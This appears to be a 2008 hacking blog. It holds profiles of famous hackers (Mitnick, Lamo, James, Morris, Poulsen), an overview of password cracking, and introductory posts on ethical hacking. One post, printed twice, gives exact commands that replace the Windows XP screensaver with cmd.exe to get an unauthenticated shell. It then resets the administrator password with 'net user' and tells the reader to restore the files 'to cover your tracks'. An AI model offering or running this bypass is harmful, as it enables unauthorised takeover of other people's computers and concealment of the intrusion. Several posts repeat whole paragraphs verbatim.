1) Kevin Mitnick.
Mitnick is perhaps synonymous with Hacker. The Department of Justice still refers to him as "the most wanted computer criminal in United States history." His accomplishments were memorialized into two Hollywood movies: Takedown and Freedom Downtime.
Mitnick got his start by exploiting the Los Angeles bus punch card system and getting free rides. Then similar to Steve Wozniak, of Apple, Mitnick tried Phone Phreaking. Mitnick was first convicted for hacking into the Digital Equipment Corporation's computer network and stealing software.
Mitnick then embarked on a two and a half year coast to coast hacking spree. He has stated that he hacked into computers, scrambled phone networks, stole corporate secrets and hacked into the national defense warning system. His fall came when he hacked into fellow computer expert and hacker Tsutomu Shimomura's home computer.
Mitnick is now a productive member of society. After serving 5 years and 8 months in solitary confinement, he is now a computer security author, consultant and speaker.
2) Adrian Lamo
Lamo hit major organizations hard, hacking into Microsoft and The New York Times. Lamo would use Internet connections at coffee shops, Kinko's and libraries to achieve his feats earning him the nickname "The Homeless Hacker". Lamo frequently found security flaws and exploited them. He would often inform the companies of the flaw.
Lamo's hit list includes Yahoo!, Citigroup, Bank of America and Cingular. Of course White Hat Hackers do this legally because they are hired by the company to such, Lamo however was breaking the law.
Lamo's intrusion into The New York Times intranet placed him squarely into the eyes of the top cyber crime offenders. For this crime, Lamo was ordered to pay $65,000 in restitution. Additionally, he was sentenced to six months home confinement and 2 years probation. Probation expired January of 2007. Lamo now is a notable public speaker and award winning journalist.
3) Jonathan James
At 16 years old, James gained enormous notoriety when he was the first minor to be sent to prison for hacking. He later admitted that he was just having fun and looking around and enjoyed the challenge.
James hit high profile organizations including the Defense Threat Reduction Agency, which is an agency of the Department of the Defense. With this hack he was able to capture usernames and passwords and view highly confidential emails.
High on James list, James also hacked in NASA computers and stole software valued at over $1.7 million. The Justice Department was quoted as saying: "The software stolen by James supported the International Space Station's physical environment, including control of the temperature and humidity within the living space." Upon discovering this hack, NASA had to shut dow its entire computer system costing taxpayers $41,000. Today James aspires to start a computer security company.
4) Robert Tappan Morris
Morris is the son of a former National Security Agency scientist named Robert Morris. Robert is the creator of the Morris worm. This worm was credited as the first computer worm spread through the Internet. Because of his actions, he was the first person to be prosecuted under the 1986 Computer Fraud and Abuse Act.
Morris created the worm while at Cornell as a student claiming that he intended to use the worm to see how large the Internet was at the time. The worm, however, reproduced itself uncontrollably, shutting down many computers until they had completely malfunctioned. Experts claim 6,000 machines were destroyed. Morris was ultimately sentenced to three years' probation, 400 hours of community service and assessed a $10,500 fine.
Morris is now a tenured professor at the MIT Computer Science and Artificial Intelligence Laboratory. His focus is computer network architecture.
5) Kevin Poulsen
Frequently referred to as Dark Dante, Poulsen gained national recognition for his hack into Los Angeles radio's KIIS-FM phone lines. These actions earned him a Porsche among many other items.
The FBI began to search for Poulson, when he hacked into the FBI database and federal computers for sensitive wiretap information. Poulsen's specialty was hacking into phone lines and he frequently took over all of a station's phone lines. Poulson also reactivated old Yellow Page escort telephone numbers for a partner who operated a virtual escort agency. Poulson was featured on Unsolved Mysteries and then captured in a supermarket. He was assessed a sentence of five years.
Since his time in prison, Poulsen has worked as a journalist and was promoted to senior editor for Wired News. His most popular article details his work on identifying 744 sex offenders with Myspace profiles.
Thursday, December 18, 2008
Tuesday, December 16, 2008
Are You Sure Your Password is Safe?
Are You Sure Your Password is Safe?
Since the appearance of computers and the necessity of storing confidential information, passwords became part of our lives. But password hacking programs also appeared; as a ready to offer a solution for those hackers who were stopped by this barrier. At first, these programs were distributed between certain underground hacker groups. But when the internet appeared, anyone could find programs for password hacking; passwords hackers popularized few softwares and soon it became mainstream among the computer community. Any user can insert the keywords 'how to hack a password' in any search engines and he will find tons of information that can help him.
Passwords and How to Obtain Them
If you consider how much money you can make for knowing the correct combination of characters of a determined portal, then it is no wonder that password hackers proliferated.
How Hacking Of Passwords Is Achieved
Password hacks can be performed in several ways. The most common used tool is social engineering. Social engineering consists in making a user believe that he is giving confidential information to a trusted party. For example, a cracker could pose as a system administrator from another country and ask for some personal information that could be considered irrelevant by the user. It's quite probable that that information was the last piece of the puzzle required by the cracker for acquiring the password of the user.
Another way of hacking passwords is through a hash function. A hash function is a program that transforms a determined password into a fixed length string. For example, if you have the password foxtrot1256, the hash function will transform it into a key, something like DG65HKSDLK43545SSDFEE232AQQQ10. Some programs use determined artifices for finding the password hidden inside the key.
Since computing power increased, the brute force attack became another choice for cracking passwords. How does it work? Well, it basically tests different kinds of character combinations until it finds the correct one. The problem with this method is that if the password is too long, then the brute force attack won't prosper, at least during a reasonable spam of time. In this kind of situations, it is better to use social engineering to find out the password.
How to Hack a Window XP Administrator Password
How to Hack a Window XP Administrator Password
This is a trick to hack Microsoft Windows administrator password.
Log in and go to your DOS command prompt and enter these commands exactly:
cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit
So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.
This is a trick to hack Microsoft Windows administrator password.
Log in and go to your DOS command prompt and enter these commands exactly:
cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit
So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.
Monday, December 15, 2008
Who are ethical hackers
Who are ethical hackers?
Successful ethical hackers possess a variety of skills. They must be trustworthy. While testing security of a client systems, the ethical hacker may discover info. about the client that should not be disclosed. In many cases, this information if publicized, could lead into real intruders breaking to the systems, possibly leading to financial and informational losses. During evaluation, the ethical hacker holds the keys to the company and therefore must be trusted to exercise tight control over any information about a target that could be misused. The sensitivity of information gathered during an evaluation requires that strong measures to be taken to ensure the security of the systems being employed by ethical hackers themselves.
Ethical hacking can also be called as penetration testing, intrusion testing and red teaming. An ethical hacker is also called as white hat.
What do ethical hackers do?
An ethical hackers evaluation of a systems security seeks answers to three basic questions
1) What can an intruder see on the target systems?
2) What can an intruder do with that information?
3) Does anyone at the target notice the intruder's attempts or successes?
While the first and second of these are utterly important, the third is even more important: If the owners of the target systems do not notice when someone is trying to break in the intruders can spend weeks or months trying and will eventually succeed.
The idea of testing the security of a system by trying to break into it is not new. Whether an automobile company is crash-testing cars, or an individual is testing his or her skill at martial arts by sparring with a partner, evaluation by testing under attack from a real adversary is widely accepted as prudent. It is, however, not sufficient by itself. Regular auditing, vigilant intrusion detection, good system administration practice, and computer security awareness are all essential parts of an organization's security efforts. A single failure in any of these areas could very well expose an organization to cyber-vandalism, embarrassment, loss of revenue or mind share, or worse. Any new technology has its benefits and its risks. While ethical hackers can help clients better understand their security needs, it is up to the clients to keep their guards in place.
Successful ethical hackers possess a variety of skills. They must be trustworthy. While testing security of a client systems, the ethical hacker may discover info. about the client that should not be disclosed. In many cases, this information if publicized, could lead into real intruders breaking to the systems, possibly leading to financial and informational losses. During evaluation, the ethical hacker holds the keys to the company and therefore must be trusted to exercise tight control over any information about a target that could be misused. The sensitivity of information gathered during an evaluation requires that strong measures to be taken to ensure the security of the systems being employed by ethical hackers themselves.
Ethical hacking can also be called as penetration testing, intrusion testing and red teaming. An ethical hacker is also called as white hat.
What do ethical hackers do?
An ethical hackers evaluation of a systems security seeks answers to three basic questions
1) What can an intruder see on the target systems?
2) What can an intruder do with that information?
3) Does anyone at the target notice the intruder's attempts or successes?
While the first and second of these are utterly important, the third is even more important: If the owners of the target systems do not notice when someone is trying to break in the intruders can spend weeks or months trying and will eventually succeed.
The idea of testing the security of a system by trying to break into it is not new. Whether an automobile company is crash-testing cars, or an individual is testing his or her skill at martial arts by sparring with a partner, evaluation by testing under attack from a real adversary is widely accepted as prudent. It is, however, not sufficient by itself. Regular auditing, vigilant intrusion detection, good system administration practice, and computer security awareness are all essential parts of an organization's security efforts. A single failure in any of these areas could very well expose an organization to cyber-vandalism, embarrassment, loss of revenue or mind share, or worse. Any new technology has its benefits and its risks. While ethical hackers can help clients better understand their security needs, it is up to the clients to keep their guards in place.
Friday, December 12, 2008
Ethical Hacking for Beginners
What is ethical hacking?
With the Internet growth, Today computer security has become major concern for the businesses and government. They want to take advantage of Internet for e-commerce, advertising and information distribution, but they are worried about possibility of being hacked. At the same time the potential customer of these services, are worried about controlling of personal info like credit card numbers, social security numbers, home addresses.
With the Internet growth, Today computer security has become major concern for the businesses and government. They want to take advantage of Internet for e-commerce, advertising and information distribution, but they are worried about possibility of being hacked. At the same time the potential customer of these services, are worried about controlling of personal info like credit card numbers, social security numbers, home addresses.
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